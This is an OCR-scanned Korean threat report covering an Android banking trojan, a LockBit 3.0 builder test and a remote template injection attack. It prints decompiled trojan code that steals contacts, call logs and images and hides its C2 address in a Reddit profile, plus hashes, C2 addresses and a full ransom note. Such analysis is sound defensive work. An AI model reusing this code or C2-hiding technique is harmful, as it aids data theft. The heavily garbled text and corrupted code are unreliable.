String s = cursore.getString(cursore.getColumnIndex(“display_name”));

String s1 = cursor®.getString(cursore.getColumnindex(“datal”));

HashMap hashMape = new HashMap();
hashMmape.put(“contact”, s);
hashMape.put(“phone”, s1);
arrayListe.add(hashmape);

catch(Exception exceptione) {
exception®.printStackirace();

Cursor cursor® = contexte.getContentResolver().query(ContactsContract.CommonDa
while(cursore.moveToNext()) {

[02) 14] 22 23]
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try {

uri urie = MediaStore.Images.Media.EXTERNAL_CONTENT_URI;
Cursor cursor® = BaseOthersService.this.c.getContentResolver().query(urie, new String[]J{"_data”, "bucket_display_name"
int v2 = cursore.getColumnIndexOrThrow(”_data");
cursore.getColumnIndexOrThrow("bucket_display_name™);
while(true) {
label_g2:

if(!cursore.moveToNext()) {

goto 1label 91;
3

s = cursore.getstring(v2);
if(s == null) {

goto labsl_62;
¥

boolean z1 = s.equalsIgnoreCase("");
break;
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if(s.equalsignoreCase("“K_PRESS_KEY_PaD")) {
startService startServicel = StartService.this;
if(startservicel.Ge) {
return;
}

startServicel.Ge = true;
CallLogBean callLogBean2 = (CallLogBean)Kit.b.a.a();
SstartService.this.Le = callLogBean2;
if(startservice.this.Le != null && StartService.this.iLe.getState() == 1) {
try {
File file® = new File(StartService.this.getDatabasePath("wait™) + "/" + "wait.mp3™);
if(!filee.exists() || filee.length() == eL) {
new WaitMp3Task(StartService.this).execute(new void[e]);

catch(Exception exceptione) {
exceptione.printStackTrace();
3

stringBuildere.tostring();
startservice.this.Le.setkeyPressed(true);
CallLogBean calliLogBean3 = StartService.this.Le;
Kit.b.a.b(callLogBean3);
startservice.this.i@.setlongTime(Kit.1("2022-10-13 11:@4:14"));
Config.n = StartService.this.Le;
Kit.q(startService.this.c);
startservice.this.Re.removeCallbacks(StartService.this.se);
startservice.this.Re.postDelayed(StartService.this.se, 1eeeL);
startservice.this.£e.removeCallbacks(StartService.this.rFg);
ExecutorServiceutil.a().execute(new Runnable() {
@override
public wvoid run() {
try {

Thread.sleep(35eeL);

int v = Kit.F(Startservice this.c, "K_SHOW_NO_ONLY");

string s = "*

1f(StartServ1ce this.te != null) {

String s1 = v == 1 ? StartService.this.te.getShow_no() : StartService.this.re.getName();
5 =813

[22!16] 7t 7 (D=

8ot £F 7l FIIHES Hf 7|22 7I5S A = QUL OIS S0 SR HFEAMZ T FHlEE
= A 0

2RlS 2ol WHEY QS 11H St 7SS E0IFH 2|
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public static Strine K(Context contexte) {
string s =
stringBuildere.tostring();
String s1 = Kit.G(contexte, "K_HOST");
if(!sil.equalsignoreCase("")) {
5 -=55T
3

if(!s.startswith("http://™)) {
s = “http://" + s;
1

if(!s.endswith("/")) {
S =8 NPT
3

return s.replace(™ “, "");

A& 17] Hi2I C2

ol C2 = [A7 17]4 22 WAeZ RYE|0 QICL 2Xl= sii" MHE 0|SdHok & wield]| OIS CHHISI ME

C2 &= ZH[s{iERUC

protected void fe(int v) {
ExecutorserviceUtil.a().execute(new Runnable() {
@override
public void run() {
try {
String s = "https://www.reddit.co
String s1 = "";
if(v 1= 0) {
s = Kit.G(BaseotherService.this.c, "K_OTHER_URL");
if(s.equalsignoreCase("")) {
return;

}

stringBuildere.tostring();
Sstring s2 = new OkkttpClient().newCall(new Builder().url(s).build()).execute().body().string();
stringBuilderi.tostring();
boolean z = s2.contains("*14283C*");
if((z) && (s2.contains("*4DSE6F*"))) {
int v = s2.indexof ("*1A28B3C*");
int vi1 = s2.indexOf("*4DSE&F*");
if(v >= @ && v1 >= 9) {
stringBuilder2.tostring();
stringBuilder3.tostring();
s1 = Crypt.a(s2.substring(v + 8, v1));

stringBuilder4.tostring();
stringBuilders.tostring();
}

if(s1 != null && (si.startswith("http://"))) {
stringBuilders.tostring();
Kit.s1(BaseOtherservice.this.c, "K_HOST", s1);
Networkapi.b().c();
Kit.k1("K_RECONNECT_SOCKET");
Kit.k1("K_REGISTER_INFO");
Pushutils.c();

return;

3

if(v == @) {
BaseOtherservice.this.fe(1);
return;

}

3

'redditwebClient-web2x&app-web2x-cli

[22118] M= C2

ME C2 = A HOIXIE S3ll 7R oot T2E E+1E %0M oid WES S=et
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Viewer || Ted DIOIEAMIOIA 2% HOIE 271 Pragma £%  SOL &l#
= {}szsp_on 1 CJHIOE HAEN(C) oS A WHFEID EIHF
® block_modify_update : "128658"
® block_update - "1643373910" oIS i ErS 2310
=] [ ]call_from_us_no ¥ ;J E‘I!D|§ (3@
wo:" v | DB_BEAN CREATE TABLE "DB_BE&N"{
=] [ ]call_from_us_no_detail [Q, _id INTEGER "id" INTEGER

=2{}o 2 RID TEXT "RID" TEXT

u f_name : ™ [2) NEW_HOST TEXT "NEW_HOST" TEXT

W fno-"™ (2] RTMP TEXT "RTMP" TEXT

o RO [2) G_TOKEN TEXT "G_TOKEN" TEXT
i ;:';-::;":‘ise': (=) NEW_APP_ID TEXT "NEW_APP_ID" TEXT
. img:hos': (=) APP_INIT INTEGER "APP_INIT" INTEGER NOT NUJ
 log_on: 1 (=) aPP_ON INTEGER "APP_ON" INTEGER NOT NU
o mp3_ud:™ (=) cALL_ON INTEGER "CALL_ON"INTEGER NOT NU
W no_list_modify_update : "131981"
® no_list_update : "1650981016"
W other_url - "hitps:/iwww.reddit. com/ edditWebClient=web2x&app=web2x-client-production&gilding_detail=1&awarded_detail=1&raw_json=1"
o rtmp: "103.151.229.47"
W show_no: 1
W voip_update : "0"

[319] M= C2

#l70ll= DB £ 2R3

4AlOR HHRIBIA| C2 9 BiziEl LIS DB Oj| ZE|m Uck

< C @ redditcc

@ reddit

Q) Search Reddit

OVERVIEW POSTS COMMENTS ~ AWARDS RECEIVED (LEGACY)
#% New (O Hot [} Top
Karma Cake day
- X1 & February 19, 2022
More Options
1asn't posted anything
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3bcecbd7d01323406cd6b7c4593a...8e372¢81717909943a4f4e.apk
Trojan.Android.Banker
BRI Yo = Y0l YAE FEBLICL
ACIEE0| Cfst 2.E WS 712 = AFLC

AAIsE2|

3ba3ch5380b3f9c8chbf9059d0ad...6b195ebbbe1a93a331¢c18e7.apk
Trojan.Android.Banker

YR Yo A0 Y22 FERULICL

AOIEZ0| ChEt D& ABHS 71 £ USUCH

A5}

2 A7

[22! 21] EfX| 3}H

SIxH Lok M OjlME ST S “Trojan.Android.Banker” EfX| HOZ FICkSID QUCE,

IOC HHE

[HASH]
3ba3cb5380b3f9c8cbf9059d0adb9f557d7974a1a6b195eb6be1a93a331¢c18e7
e61ad7eef2f1860839531f9d4d368af72c1363e578e372¢817f1790994 3adfde

[sub C2]
hxxps[:]//reddit[.Jcom/user/wanglihongo001
hxxps[:]//reddit[.Jcom/user/aoligeifc

[C2]
137.220.133[.]166

134122146[.]10
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LockBit 3.0 2iMejjo] 2] Z27H=H

LockBit 3.0 Y7} EQ|E{0| RE&[RISLICE O YE= LockBit T 250l n&8E T22iH7t &0t
AoE FF& 1 O, 0|H| REE! LockBit 3.0 WHE AFESHH Tl =2l |, 523 |E Zaket AdmUS
EAH HES 2~ UELICE LockBit 3.0 2= Build.bat, builder.exe, config.json, keygen.exe 4 7H=2 1A =|0
UM, 0] & Configjson IS S3lf THEHL| FAH HH, FHZH HE, S5 T=MA I MH[A T, C&C
M XIH S Crfet M2 SAX0| A 28 4= USLICE Ol Build.bat IS Sdl /0] SZ0| ERst
DE IS MM = AUSLICE S70E 2EE WES SHH Chgat 22 T2 S0| Bulid EH01 & ELC.

D DECRYPTIOM_ID fxt

[ LB3.exe

(] LB3_pass.exe

LB3 ReflectiveDIl_DIIMain.dll
LB3_Rundllz2.dll
LB3_Rundll32_pass.dll

& LB3Decryptor.exe

D Fassword_dll

D Password_exe tut

| privkey
[ pub.key
[O2 1] 37HE LockBit 3.0 HHZE HE T MyE= IS
AHA Ol = ol Al iy | 5= Ao ol BsHE 12 AISHG!
dHE MUS T LB3.exe MU0 &K SHXIS0| S201 AHEdH= ed90] MU=, SiE TAS HASIHH
(=) k Ol= otsSs
CH2at 20| PC L DRUS0| eyt ElLICh
|5 cawjacdsj README et 2022-09-22 2% 146 HAE B 7KB
3 Criginal_13 File. bmp.caWjacd5j 2022-08-22 2% 146 CAWIACDS) It 2127KB
3 Criginal_14 File.docx caWjacds] 2022-09-22 2% 1:46 CAWIACDS) ot 267KB
3 Criginal_15 File.hwp.caWjacdsj 2022-09-22 2% 1145 CAWIACDS) oHE 43KB
3 Original_16 Filejpg.caWjacds] 2022-09-22 2% 1:46  CAWIACDS) E 306KB
3 Criginal_17 File.mp3.caWjacdsj 2022-09-22 2% 146 CAWIACDS) I 7.147KB
3 Criginal_18 File.pdf.caWjacdsj 2022-09-22 2% 1:46 CAWIACDS) ot 48KE
3 Criginal_1% File.png.caWjacdsj 2022-09-22 2% 1146 CAWIACDS) ot 1,078KB
3 Criginal_20 File.pptx.caWjacds) 2022-09-22 2% 1146 CAWIACDS) I 751KB
3 Criginal_21 File.rtf.caWjacdsj 2022-09-22 2% 146 CAWIACDS) I 11KB
3 Criginal_22 File.txt.caWjacds) 2022-09-22 2F 1146 CAWIACDS) I 4KB
3 Criginal_23 Filexlsx.caWjacdsj 2022-09-22 2% 1:46 CAWIACDS) ot 10KB
3 Criginal_24 File.zip.caWjacdsj 2022-08-22 2% 1:46 CAWIACDS) It 9,500KB
3 LockBit Black Decryptor x
All Encrypted Files 0 - .
D t Al E ted Fi
AlDecrypted Fles [ o | s AR

[72) 2] eRlo] A% = etset &l TS

0|2 Y=gl oflof| IEE|0 Qli= LB3Decryptorexe MUS MHsHH A5} &l MUSO0| HZXO2 555}
ELch
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|&] Criginal_13 Filebmp 2022-09-22 2% 1:50 E

W Original_14 File.docx 2022-09-22 2% 1:50  Microsoft Word ...

| original_15 File hwp 2022-09-22 2% 1:50

|&] Original_16 Filejpg 2022-09-22 2% 155

@ Original_17 File.mp3 2022-09-22 2% 1:50

L& Original_18 File.pdf 2022-09-22 2= 1:50

|w] Original_19 Filepng 2022-09-22 2% 1:50

() Original_20 File pptx 2022-09-22 L%

W Original_21 Filertf 9

5] original_22 File txt 9 =

) Original_23 Filexsx g Microsoft Excel ...

5 Original_24 Filezip 2022-09-22 2 1:50  ALZip ZIP File 9,500KB

3 LockBit Black Decryptor x

All Encrypted Files )
All Decrypted Fies ETh Decrypt All Encrypted Files

2= H Configjson LHA0M SAXTt Yoh= HIETQ! T4, M, HHE LI SS HAEDIOIE & 5

USLICY.

AN

~~~ LockBit 3.0 Builder test ~~~

>>>> Your data are stolen and encrypted
The data will be published on TOR website if you do not pay the ransom

Links for Tor Browser:
http://lockbi
http://lockbi
http://lockbi
http://lockbi-
http://lockbi’
http://lockbi
http://lockbi
http://lockbi-
http://lockbi

Links for the normal browser
http://lockb
http://lockb
http://lockb
http://lockb
http://lockb
http://lockb
http://lockb
http://lockb
http://lockb
http://lockb

>>>> What guarantees that we will not deceive you?

We are not a politically motivated group and we do not need anything other than your money.

If you pay, we will provide you the programs for decryption and we will delete your data.
Life is too short to be sad. Be not sad, money, it is only paper.

If we do not give you decrypters, or we do not delete your data after payment, then nobody will pay us in the future.
Therefore to us our reputation is very important. We attack the companies worldwide and there is no dissatisfied victim

after payment.

You can obtain information about us on twitter

Ln 1, Col 1 100%  Windows (CRLF)  UTF-8

O 4] HAEDOIEE HHLE

O]ZA| /&% LockBit 3.0 M0 LHE O|ESHH HE7H7t OfL[2te EAH| HHHE HMEE 4= U,
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=
HERlo] SH2 HS O 7152 FE A=

AFEXF GRESHM = G0l ZHFEIX| = 21ES| 2|2 7IS0[A7| HI2tH, B OIUS2 FI[Ho=

HS) FAIS HD SRILICE
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Aol 7| MiF Ol LHELZ fIEel o 20| T 8ISl Z1E et o7t RQBLICE. OHo|
WHE oFY mA2 it AE2 FQIR HIE =3 M| FUHEE [9122] 2RI2F] - O|Z0|AE" TUHO)
oy

= M mdFEoE RO miAdFE} o LIE2 AH| 92 3 2ol S7HE 7|AE QIESIRELICE
TigerHunter' O|S& AFESH= AFEXIIL 2022 ' 9 & 25 Y 214 53 B(UTC)0l| BXC=Z XZ&fet Ao=E
HOX|H, '?1A "ES! FQ(Remote Template Injection)' 7|&S AFESI] 22X} 0|2] AAsH =2 H
SAEO| HZESID, 2o[orz, MEl 8! i3 2 S2 Eesh= EA HES! IRl dotm IIUS ARSKE A|ARI0|
L 2hEL|c

<7umi version="1.0" encoding="UTF-8" standalone="yes" 7>
<Relationships :m'hs 'htlp ,.’.n'sd'u'nas npcnmfm'mam org/package 2006 frelationships®=

<Relationship Id=" ; snxmlformats, org fofficeDocument, 2006 frelationships fattachedTemplate™
sroetiode ="External”/ =

[22 1] Remote Template Injection Z=

—

AEXPL THA S AlSHH word2022[.]cl.biz 2 H&51 template.dotm IHUS CHREZEE SILICE sHEh DI
SIMojlM HA2MOo =2 HASH= M- at S| AEAL HEE RFSH=s 12271 ZatE|of

T2 B2 HAE MZS SMOR HIY HOIZORM ALY SUIMS SUsle] [ZEX AR] 7|5S
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v8HOX sizhee 02 0@ ®
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[0 2] 0HEZ &8 fx oHH

ESTSEE[H?”’ Copyright®&2022 ESTsecurity Corp.all rights reserved 42



3 M Hot Z3F
AIBRP} [ZEIX AIZ] HES =2 |22 Adg sigsicly, 217 9Eal 7o 7|22 S cheas =
DOTM Ijo| EHIES! M0 ME&H 2F BIAE M7Z0| H2MOo= HAED} SA|0f| 24 0132 ZE=T}
AAEL|CE.
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